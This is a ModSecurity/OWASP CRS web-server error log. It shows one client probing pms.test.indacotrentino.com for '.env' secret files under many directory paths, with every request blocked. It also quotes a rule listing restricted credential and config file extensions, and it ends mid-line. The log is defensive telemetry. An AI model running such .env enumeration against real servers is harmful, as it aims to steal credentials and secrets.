[Thu Feb 26 01:03:08.856056 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libs/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUtwAAAAc&quot;]
[Thu Feb 26 01:03:08.856197 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libs/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUtwAAAAc&quot;]
[Thu Feb 26 01:03:08.876500 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lemonldap-ng-fr-doc/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-fr-doc/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4nQAAAAY&quot;]
[Thu Feb 26 01:03:08.876727 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-fr-doc/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4nQAAAAY&quot;]
[Thu Feb 26 01:03:08.876880 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lemonldap-ng-fr-doc/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4nQAAAAY&quot;]
[Thu Feb 26 01:03:08.919266 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /letsencrypt/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/letsencrypt/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4ngAAAAY&quot;]
[Thu Feb 26 01:03:08.919514 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/letsencrypt/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4ngAAAAY&quot;]
[Thu Feb 26 01:03:08.919681 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/letsencrypt/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4ngAAAAY&quot;]
[Thu Feb 26 01:03:08.944749 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /linux/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/linux/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUugAAAAc&quot;]
[Thu Feb 26 01:03:08.944967 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/linux/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUugAAAAc&quot;]
[Thu Feb 26 01:03:08.945115 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/linux/.env&quot;] [unique_id &quot;aZ-NvM9iaYbHzIBMVEXUugAAAAc&quot;]
[Thu Feb 26 01:03:08.951707 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4nwAAAAY&quot;]
[Thu Feb 26 01:03:08.951919 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4nwAAAAY&quot;]
[Thu Feb 26 01:03:08.952079 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aZ-NvJqP6Uim1aZiP_g4nwAAAAY&quot;]
[Thu Feb 26 01:03:09.017487 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /libraries/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libraries/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4oQAAAAY&quot;]
[Thu Feb 26 01:03:09.017705 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libraries/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4oQAAAAY&quot;]
[Thu Feb 26 01:03:09.017860 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libraries/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4oQAAAAY&quot;]
[Thu Feb 26 01:03:09.019141 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /localhost/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/localhost/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUvAAAAAc&quot;]
[Thu Feb 26 01:03:09.019355 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/localhost/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUvAAAAAc&quot;]
[Thu Feb 26 01:03:09.019529 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/localhost/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUvAAAAAc&quot;]
[Thu Feb 26 01:03:09.046631 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /locally/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/locally/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUvQAAAAc&quot;]
[Thu Feb 26 01:03:09.046845 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/locally/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUvQAAAAc&quot;]
[Thu Feb 26 01:03:09.046989 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/locally/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUvQAAAAc&quot;]
[Thu Feb 26 01:03:09.071419 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /library/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Library/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4ogAAAAY&quot;]
[Thu Feb 26 01:03:09.071653 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Library/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4ogAAAAY&quot;]
[Thu Feb 26 01:03:09.071815 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/Library/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4ogAAAAY&quot;]
[Thu Feb 26 01:03:09.093072 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /log/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUvwAAAAc&quot;]
[Thu Feb 26 01:03:09.093315 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUvwAAAAc&quot;]
[Thu Feb 26 01:03:09.093479 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/log/.env&quot;] [unique_id &quot;aZ-Nvc9iaYbHzIBMVEXUvwAAAAc&quot;]
[Thu Feb 26 01:03:09.099519 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /libs/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libs/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4owAAAAY&quot;]
[Thu Feb 26 01:03:09.099744 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libs/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4owAAAAY&quot;]
[Thu Feb 26 01:03:09.099903 2026] [:error] [pid 2331047] [client 185.177.72.22:15498] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/libs/.env&quot;] [unique_id &quot;aZ-NvZqP6Uim1aZiP_g4owAAAAY&quot;]
[Thu Feb 26 01:03:09.121855 2026] [:error] [pid 2331624] [client 185.177.72.22:15482] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag 